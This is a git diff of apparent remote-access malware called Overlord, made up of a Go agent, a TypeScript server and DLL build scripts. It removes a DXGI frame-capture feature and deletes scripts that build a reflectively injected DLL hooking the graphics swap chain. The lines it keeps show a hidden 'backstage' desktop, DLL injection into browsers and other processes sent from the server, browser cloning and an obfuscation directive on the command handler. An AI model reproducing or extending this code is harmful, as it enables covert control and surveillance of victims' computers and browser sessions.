} - - log.Printf("backstage inject: gave up finding GPU child for browser PID %d", browserPID) - if fn, ok := backstageDXGIStatusCallback.Load().(DXGIStatusFunc); ok && fn != nil { - fn(false, 0, "DXGI injection failed: GPU process not found") - } -} - func findGPUChildProcess(parentPID uint32) (uint32, error) { children := findChildPIDs(parentPID) if len(children) == 0 { diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index 19adfc1..3c307e1 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -157,7 +157,7 @@ var ( backstageDesktopHandle uintptr backstageDesktopMu sync.Mutex backstageCaptureMu sync.Mutex - backstageDesktopName = "OverlordHiddenDesktop" + backstageDesktopName = "OverlordBackstage" backstageInitialized bool backstageOriginalDesktop uintptr backstageCursorEnabled bool @@ -234,7 +234,6 @@ type backstageTask struct { text string delta int32 dllBytes []byte - captureDllBytes []byte searchPath string replacePath string queuedAt time.Time @@ -393,7 +392,6 @@ func CleanupbackstageDesktop() { ResetPrevbackstage() resetH264D3D11TextureEncoder("backstage") - backstageCleanupFrameReaders() dwmCleaned, workerStopped := shutdownbackstageThreadLocked(time.Second) if !dwmCleaned { backstageAbandonDWMThumbnails() @@ -563,7 +561,7 @@ func ensurebackstageThread() error { case backstageTaskStartProcess: result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display) case backstageTaskStartProcessInjected: - result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.captureDllBytes, task.searchPath, task.replacePath, task.display) + result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display) case backstageTaskMouseMove: result.err = backstageMouseMoveOnThread(task.display, task.x, task.y) case backstageTaskMouseDown: @@ -1905,9 +1903,6 @@ func backstageFreeCacheEntry(entry *backstageWinCacheEntry) { } } -var dxgiFrameBuf []byte - -var backstageDXGIEnabled atomic.Bool var backstageUIAEnabled atomic.Bool var backstagePrintWindowFallbackEnabled atomic.Bool var backstagePrintWindowFallbackLogNs atomic.Int64 @@ -1915,17 +1910,15 @@ var backstagePrintWindowTimeoutLogNs atomic.Int64 var backstagePrintWindowFn = printWindow func init() { - backstageDXGIEnabled.Store(false) // disabled by default - backstageUIAEnabled.Store(false) // disabled by default + backstageUIAEnabled.Store(false) // disabled by default backstagePrintWindowFallbackEnabled.Store(true) } -func SetbackstageDXGIEnabled(enabled bool) { - backstageDXGIEnabled.Store(enabled) +func SetbackstageDXGIEnabled(_ bool) { } func GetbackstageDXGIEnabled() bool { - return backstageDXGIEnabled.Load() + return false } func SetbackstageUIAEnabled(enabled bool) { @@ -1987,79 +1980,6 @@ func backstagePrintWindowWithTimeout(hwnd uintptr, entry *backstageWinCacheEntry } } -func drawbackstageWindowFromDXGI(hwnd uintptr, winLeft, winTop, winW, winH int, bounds image.Rectangle, target []byte, targetStride int) bool { - if !backstageDXGIEnabled.Load() { - return false - } - var pid uint32 - procGetWindowThreadProcessId.Call(hwnd, uintptr(unsafe.Pointer(&pid))) - if pid == 0 { - return false - } - - reader := backstageGetFrameReader(pid) - if reader == nil { - backstageFrameReadersMu.Lock() - gpuPID := backstageGPUPIDMap[pid] - backstageFrameReadersMu.Unlock() - if gpuPID != 0 { - reader = backstageGetFrameReader(gpuPID) - } - } - if reader == nil { - return false - } - - needed := winW * winH * 4 - if cap(dxgiFrameBuf) < needed { - dxgiFrameBuf = make([]byte, needed) - } - buf := dxgiFrameBuf[:needed] - - frameW, frameH, ok := reader.readFrame(buf) - if !ok { - return false - } - - copyW := minInt(winW, frameW) - copyH := minInt(winH, frameH) - if copyW <= 0 || copyH <= 0 { - return false - } - - srcStride := frameW * 4 - winStride := winW * 4 - - effWinLeft := winLeft - effWinTop := winTop - effWinRight := winLeft + copyW - effWinBottom := winTop + copyH - - interLeft := maxInt(effWinLeft, bounds.Min.X) - interTop := maxInt(effWinTop, bounds.Min.Y) - interRight := minInt(effWinRight, bounds.Max.X) - interBottom := minInt(effWinBottom, bounds.Max.Y) - if interRight <= interLeft || interBottom <= interTop { - return false - } - - srcX := interLeft - winLeft - srcY := interTop - winTop - dstX := interLeft - bounds.Min.X - dstY := interTop - bounds.Min.Y - blitW := interRight - interLeft - blitH := interBottom - interTop - - for y := 0; y < blitH; y++ { - srcStart := (srcY+y)*srcStride + srcX*4 - dstStart := (dstY+y)*targetStride + dstX*4 - copy(target[dstStart:dstStart+blitW*4], buf[srcStart:srcStart+blitW*4]) - } - - _ = winStride - return true -} - func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target []byte, targetStride int) bool { if backstageIsDWMHost(hwnd) { return false @@ -2089,9 +2009,6 @@ func drawbackstageWindow(hdcScreen, hwnd uintptr, bounds image.Rectangle, target return false } - if drawn := drawbackstageWindowFromDXGI(hwnd, winLeft, winTop, winW, winH, bounds, target, targetStride); drawn { - return true - } if !backstagePrintWindowFallbackEnabled.Load() { now := time.Now().UnixNano() last := backstagePrintWindowFallbackLogNs.Load() diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index 4253b7c..d4d40b9 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -570,21 +570,6 @@ func extractDLLBytes(payload map[string]interface{}) []byte { return nil } -func extractCaptureDLLBytes(payload map[string]interface{}) []byte { - if payload == nil { - return nil - } - switch v := payload["capture_dll"].(type) { - case []byte: - return v - case string: - if len(v) > 0 { - return []byte(v) - } - } - return nil -} - func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 cmdID, _ := envelope["id"].(string) @@ -2047,11 +2032,10 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } - captureDllBytes := extractCaptureDLLBytes(payload) - log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d captureDllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes), len(captureDllBytes)) + log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_process_injected", nil, func() { - if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, captureDllBytes, searchPath, replacePath, display); err != nil { + if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display); err != nil { log.Printf("backstage: injected process failed for %q: %v", filePath, err) } }) @@ -2071,10 +2055,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil } log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) - captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_chrome_injected", nil, func() { - if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, captureDllBytes); err != nil { + if err := capture.StartbackstageChromeInjected(chromePath, dllBytes); err != nil { log.Printf("backstage: chrome injected failed: %v", err) } }) @@ -2118,7 +2101,6 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in return nil } log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes)) - captureDllBytes := extractCaptureDLLBytes(payload) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_browser_injected", nil, func() { var onProgress capture.CloneProgressFunc @@ -2155,7 +2137,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Detail: detail, }) } - if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, captureDllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { + if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { log.Printf("backstage: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts index 2bc4296..92673b2 100644 --- a/Overlord-Server/src/server/ws-console-rd-backstage.ts +++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts @@ -38,10 +38,6 @@ let _cachedInjectionDll: Uint8Array | null = null; let _dllCachePath: string | null = null; let _dllCacheMtimeMs: number = 0; -let _cachedCaptureDll: Uint8Array | null = null; -let _captureDllCachePath: string | null = null; -let _captureDllCacheMtimeMs: number = 0; - function getInjectionDllBytes(): Uint8Array | null { const runtimeRoot = resolveRuntimeRoot(); const candidates = [ @@ -86,49 +82,6 @@ function getInjectionDllBytes(): Uint8Array | null { return null; } -function getCaptureDllBytes(): Uint8Array | null { - const runtimeRoot = resolveRuntimeRoot(); - const candidates = [ - path.resolve(runtimeRoot, "dist-clients", "BackstageCapture.x64.dll"), - path.resolve(process.cwd(), "dist-clients", "BackstageCapture.x64.dll"), - path.resolve(import.meta.dir, "../../dist-clients/BackstageCapture.x64.dll"), - ]; - - if (_captureDllCachePath) { - try { - const { statSync } = require("fs"); - const st = statSync(_captureDllCachePath); - if (st.mtimeMs === _captureDllCacheMtimeMs && _cachedCaptureDll) { - return _cachedCaptureDll; - } - _cachedCaptureDll = new Uint8Array(readFileSync(_captureDllCachePath)); - _captureDllCacheMtimeMs = st.mtimeMs; - logger.info(`[backstage] reloaded capture DLL from ${_captureDllCachePath} (${_cachedCaptureDll.length} bytes)`); - return _cachedCaptureDll; - } catch { - _captureDllCachePath = null; - _cachedCaptureDll = null; - } - } - - for (const dllPath of candidates) { - if (!existsSync(dllPath)) continue; - try { - const { statSync } = require("fs"); - const st = statSync(dllPath); - _cachedCaptureDll = new Uint8Array(readFileSync(dllPath)); - _captureDllCachePath = dllPath; - _captureDllCacheMtimeMs = st.mtimeMs; - logger.info(`[backstage] loaded capture DLL from ${dllPath} (${_cachedCaptureDll.length} bytes)`); - return _cachedCaptureDll; - } catch { - continue; - } - } - - return null; -} - const VIEWER_BACKPRESSURE_BYTES = Math.max( 64 * 1024, Number(process.env.OVERLORD_MEDIA_VIEWER_BACKPRESSURE_BYTES || 512 * 1024), @@ -1434,7 +1387,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); break; } - const captureDll = getCaptureDllBytes(); const cmdPayload: Record = { path: String(payload.path || ""), search_path: String(payload.search_path || ""), @@ -1442,7 +1394,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra dll: dllData, display: state.display ?? 0, }; - if (captureDll) cmdPayload.capture_dll = captureDll; sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload); break; } @@ -1453,13 +1404,11 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); break; } - const captureDllChrome = getCaptureDllBytes(); const chromeCmdPayload: Record = { path: String(payload.path || ""), dll: dllData, display: state.display ?? 0, }; - if (captureDllChrome) chromeCmdPayload.capture_dll = captureDllChrome; sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload); break; } @@ -1470,7 +1419,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra safeSendViewer(ws, { type: "backstage_error", error: "backstage injection DLL not found on the server. Browser cloning requires the DLL to be built and placed in the server directory.", critical: true }); break; } - const captureDllBrowser = getCaptureDllBytes(); const browserCmdPayload: Record = { browser: String(payload.browser || ""), path: String(payload.path || ""), @@ -1480,7 +1428,6 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra dll: dllData, display: state.display ?? 0, }; - if (captureDllBrowser) browserCmdPayload.capture_dll = captureDllBrowser; sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload); break; } diff --git a/scripts/build-backstage-capture-dll.bat b/scripts/build-backstage-capture-dll.bat deleted file mode 100644 index f06f1cb..0000000 --- a/scripts/build-backstage-capture-dll.bat +++ /dev/null @@ -1,54 +0,0 @@ -@echo off -setlocal EnableDelayedExpansion -REM Build BackstageCapture DLL for Windows x64 using MSBuild (vcxproj). -REM Run from VS Developer Command Prompt, or let the script detect VS. - -set "SCRIPT_DIR=%~dp0" -for %%I in ("%SCRIPT_DIR%..") do set "ROOT=%%~fI\" -set "PROJ=%ROOT%BackstageCapture\BackstageCapture.vcxproj" -set "OUT_DIR=%ROOT%Overlord-Server\dist-clients" -set CONFIG=Release -set PLATFORM=x64 - -REM Locate MSBuild via vswhere if not already on PATH -where msbuild.exe >nul 2>&1 -if %ERRORLEVEL% neq 0 ( - echo msbuild.exe not found, searching for Visual Studio ... - set "FOUND_VS=" - for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.Component.MSBuild -find MSBuild\**\Bin\MSBuild.exe 2^>nul`) do ( - set "MSBUILD_PATH=%%i" - set "FOUND_VS=1" - ) - if not defined FOUND_VS ( - echo ERROR: Visual Studio with MSBuild not found. - exit /b 1 - ) - echo Found MSBuild at: !MSBUILD_PATH! -) - -if not exist "%OUT_DIR%" mkdir "%OUT_DIR%" - -echo Building BackstageCapture.vcxproj [%CONFIG%^|%PLATFORM%] ... -if defined MSBUILD_PATH ( - "!MSBUILD_PATH!" "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal -) else ( - msbuild.exe "%PROJ%" /p:Configuration=%CONFIG% /p:Platform=%PLATFORM% /p:OutDir="%OUT_DIR%\\" /m /nologo /v:minimal -) -if %ERRORLEVEL% neq 0 goto :error - -if not exist "%OUT_DIR%\BackstageCapture.x64.dll" ( - echo ERROR: DLL not found in output directory. - goto :error -) - -echo. -echo Built: %OUT_DIR%\BackstageCapture.x64.dll -dir "%OUT_DIR%\BackstageCapture.x64.dll" - -echo Done. -exit /b 0 - -:error -echo. -echo BUILD FAILED -exit /b 1 diff --git a/scripts/build-backstage-capture-dll.sh b/scripts/build-backstage-capture-dll.sh deleted file mode 100644 index a965ebc..0000000 --- a/scripts/build-backstage-capture-dll.sh +++ /dev/null @@ -1,248 +0,0 @@ -#!/usr/bin/env bash -# Build BackstageCapture DLL for Windows x64 using MinGW cross-compiler (C++). -# Run from the repository root or from Docker. -# -# BackstageCapture hooks IDXGISwapChain::Present to capture frames from the GPU -# process. It uses MinHook for hooking and ReflectiveLoader for injection. -# -# Requirements: -# - x86_64-w64-mingw32-g++ (C++ mode needed for COM vtable calls / __uuidof) -# - MinHook source under BackstageCapture/Minhook/ -# -# If MinHook source is not available, you can pre-build the DLL with MSVC -# on Windows using scripts\build-backstage-capture-dll.bat and place the output at: -# Overlord-Server/dist-clients/BackstageCapture.x64.dll - -set -euo pipefail -SCRIPT_DIR="$(cd -- "$(dirname "${BASH_SOURCE[0]}")" && pwd)" -ROOT="$(cd -- "$SCRIPT_DIR/.." && pwd)" -cd "$ROOT" - -# C++ compiler for COM / __uuidof support -CXX="${CXX:-x86_64-w64-mingw32-g++}" -CC="${CC:-x86_64-w64-mingw32-gcc}" -SRC_DIR="${BACKSTAGE_CAPTURE_SRC_DIR:-BackstageCapture/src}" -OUT_DIR="${BACKSTAGE_CAPTURE_OUT_DIR:-Overlord-Server/dist-clients}" -DLL_NAME="BackstageCapture.x64.dll" -MINHOOK_REPO="${MINHOOK_REPO:-https://github.com/TsudaKageyu/minhook.git}" -MINHOOK_REF="${MINHOOK_REF:-master}" -BACKSTAGE_FETCH_MINHOOK="${BACKSTAGE_FETCH_MINHOOK:-1}" -MINHOOK_STATIC_DIR="${MINHOOK_STATIC_DIR:-BackstageCapture/Minhook}" - -mkdir -p "$OUT_DIR" 2>/dev/null || true - -MINHOOK_DIR="$SRC_DIR/minhook" - -stage_minhook_tree() { - local source_root="$1" - local include_root="${2:-$1}" - - mkdir -p "$MINHOOK_DIR/hde" || true - cp -f "$source_root/buffer.c" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/buffer.h" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/hook.c" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/trampoline.c" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/trampoline.h" "$MINHOOK_DIR/" 2>/dev/null || true - cp -f "$source_root/hde/hde64.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/hde64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/hde32.c" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/hde32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/pstdint.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/table64.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - cp -f "$source_root/hde/table32.h" "$MINHOOK_DIR/hde/" 2>/dev/null || true - - mkdir -p "$SRC_DIR/include" || true - if [ -f "$source_root/MinHook.h" ]; then - cp -f "$source_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true - cp -f "$source_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true - elif [ -f "$include_root/MinHook.h" ]; then - cp -f "$include_root/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true - cp -f "$include_root/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true - fi -} - -stage_minhook_from_static_dir() { - local candidate_src="" - local candidate_include="" - - for dir in "$MINHOOK_STATIC_DIR" "BackstageCapture/Minhook" "BackstageCapture/minhook"; do - if [ -f "$dir/hook.c" ] && [ -f "$dir/hde/hde64.c" ]; then - candidate_src="$dir" - candidate_include="$dir" - break - fi - - if [ -f "$dir/src/hook.c" ] && [ -f "$dir/src/hde/hde64.c" ]; then - candidate_src="$dir/src" - if [ -f "$dir/include/MinHook.h" ]; then - candidate_include="$dir/include" - else - candidate_include="$dir/src" - fi - break - fi - done - - if [ -n "$candidate_src" ]; then - echo "Using static MinHook source from $candidate_src" - stage_minhook_tree "$candidate_src" "$candidate_include" - return 0 - fi - - return 1 -} - -# Verify C++ cross-compiler is available -if ! command -v "$CXX" >/dev/null 2>&1; then - echo "ERROR: C++ cross compiler not found: $CXX" - echo "Install mingw-w64 (x86_64-w64-mingw32-g++) in your build image/environment." - exit 1 -fi - -fetch_minhook() { - if [ "$BACKSTAGE_FETCH_MINHOOK" != "1" ]; then - return 1 - fi - - if ! command -v git >/dev/null 2>&1; then - echo "WARNING: git is not available; cannot auto-fetch MinHook." - return 1 - fi - - echo "MinHook source not found; fetching from $MINHOOK_REPO ($MINHOOK_REF) ..." - local tmpdir - tmpdir="$(mktemp -d)" - - if ! git clone --depth 1 --branch "$MINHOOK_REF" "$MINHOOK_REPO" "$tmpdir/minhook"; then - rm -rf "$tmpdir" - echo "WARNING: Failed to fetch MinHook source." - return 1 - fi - - stage_minhook_tree "$tmpdir/minhook/src" "$tmpdir/minhook/include" - cp -f "$tmpdir/minhook/include/MinHook.h" "$MINHOOK_DIR/MinHook.h" 2>/dev/null || true - mkdir -p "$SRC_DIR/include" || true - cp -f "$tmpdir/minhook/include/MinHook.h" "$SRC_DIR/include/MinHook.h" 2>/dev/null || true - rm -rf "$tmpdir" - - [ -f "$MINHOOK_DIR/hook.c" ] -} - -# --- Stage MinHook source --- -if [ ! -d "$MINHOOK_DIR" ]; then - if ! stage_minhook_from_static_dir && ! fetch_minhook; then - echo "WARNING: MinHook source not found at $MINHOOK_DIR" - echo "Attempting to use pre-compiled libMinHook.x64.lib ..." - echo "(This may fail with MinGW. Build with MSVC on Windows instead.)" - MINHOOK_OBJS="" - MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" - MINHOOK_INC="" - fi -fi - -if [ -d "$MINHOOK_DIR" ]; then - if [ ! -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$MINHOOK_DIR/MinHook.c" ]; then - stage_minhook_from_static_dir || fetch_minhook || true - fi -fi - -if [ -d "$MINHOOK_DIR" ] && { [ -f "$MINHOOK_DIR/hook.c" ] || [ -f "$MINHOOK_DIR/MinHook.c" ]; }; then - echo "Building MinHook from source ..." - MINHOOK_OBJS="" - MINHOOK_LIB="" - MINHOOK_INC="-I$MINHOOK_DIR -I$MINHOOK_DIR/hde" - - if [ -f "$MINHOOK_DIR/hook.c" ] && [ ! -f "$SRC_DIR/include/MinHook.h" ]; then - mkdir -p "$SRC_DIR/include" || true - if [ -f "$MINHOOK_DIR/MinHook.h" ]; then - cp -f "$MINHOOK_DIR/MinHook.h" "$SRC_DIR/include/MinHook.h" || true - elif [ -f "$MINHOOK_DIR/include/MinHook.h" ]; then - cp -f "$MINHOOK_DIR/include/MinHook.h" "$SRC_DIR/include/MinHook.h" || true - fi - fi - - # MinHook is pure C — compile with gcc - for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \ - "$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c \ - "$MINHOOK_DIR"/hook.c "$MINHOOK_DIR"/MinHook.c; do - if [ -f "$src" ]; then - obj="${src%.c}.o" - "$CC" -c -O2 -DWIN64 -D_WIN64 -fno-stack-protector -fno-asynchronous-unwind-tables $MINHOOK_INC -o "$obj" "$src" - MINHOOK_OBJS="$MINHOOK_OBJS $obj" - fi - done - - if [ -z "${MINHOOK_OBJS// }" ]; then - echo "WARNING: No MinHook objects were built, falling back to pre-compiled libMinHook.x64.lib" - MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" - MINHOOK_INC="" - fi -else - MINHOOK_OBJS="" - MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib" - MINHOOK_INC="" -fi - -# --- Compile BackstageCapture sources --- -# DXGICapture.c is compiled as C++ for COM vtable calls and __uuidof -CXXFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" -CXXFLAGS="$CXXFLAGS -DBackstageCapture_EXPORTS -DWIN_X64" -CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" -CXXFLAGS="$CXXFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" -CXXFLAGS="$CXXFLAGS -fno-stack-protector" -CXXFLAGS="$CXXFLAGS -fno-exceptions -fno-rtti" -CXXFLAGS="$CXXFLAGS -I$SRC_DIR" -if [ -n "${MINHOOK_INC:-}" ]; then - CXXFLAGS="$CXXFLAGS $MINHOOK_INC" -fi - -# C flags for ReflectiveLoader (pure C, no C++) -# Keep -fno-asynchronous-unwind-tables only for the loader shellcode -LOADER_CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL" -LOADER_CFLAGS="$LOADER_CFLAGS -DBackstageCapture_EXPORTS -DWIN_X64" -LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR" -LOADER_CFLAGS="$LOADER_CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN" -LOADER_CFLAGS="$LOADER_CFLAGS -fno-stack-protector" -LOADER_CFLAGS="$LOADER_CFLAGS -fno-asynchronous-unwind-tables" -LOADER_CFLAGS="$LOADER_CFLAGS -I$SRC_DIR" -if [ -n "${MINHOOK_INC:-}" ]; then - LOADER_CFLAGS="$LOADER_CFLAGS $MINHOOK_INC" -fi - -echo "Compiling ReflectiveLoader.c ..." -"$CC" -c $LOADER_CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c" - -echo "Compiling ReflectiveDll.c (C++) ..." -"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c" - -echo "Compiling DXGICapture.c (C++) ..." -"$CXX" -c $CXXFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/DXGICapture.o" "$SRC_DIR/DXGICapture.c" - -echo "Linking $DLL_NAME ..." -LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/DXGICapture.o" -if [ -n "${MINHOOK_OBJS:-}" ]; then - LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS" -fi -LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -ld3d11 -ldxgi" -if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then - LINK_LIBS="$LINK_LIBS $MINHOOK_LIB" -fi - -"$CXX" -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \ - -Wl,--entry,DllMain \ - -Wl,--disable-runtime-pseudo-reloc \ - -fno-stack-protector \ - -fno-exceptions -fno-rtti \ - -static-libgcc -static-libstdc++ \ - -s - -echo "Built: $OUT_DIR/$DLL_NAME" -ls -la "$OUT_DIR/$DLL_NAME" - -# Clean up object files -rm -f "$SRC_DIR"/*.o -if [ -d "$MINHOOK_DIR" ]; then - find "$MINHOOK_DIR" -name '*.o' -delete -fi - -echo "Done."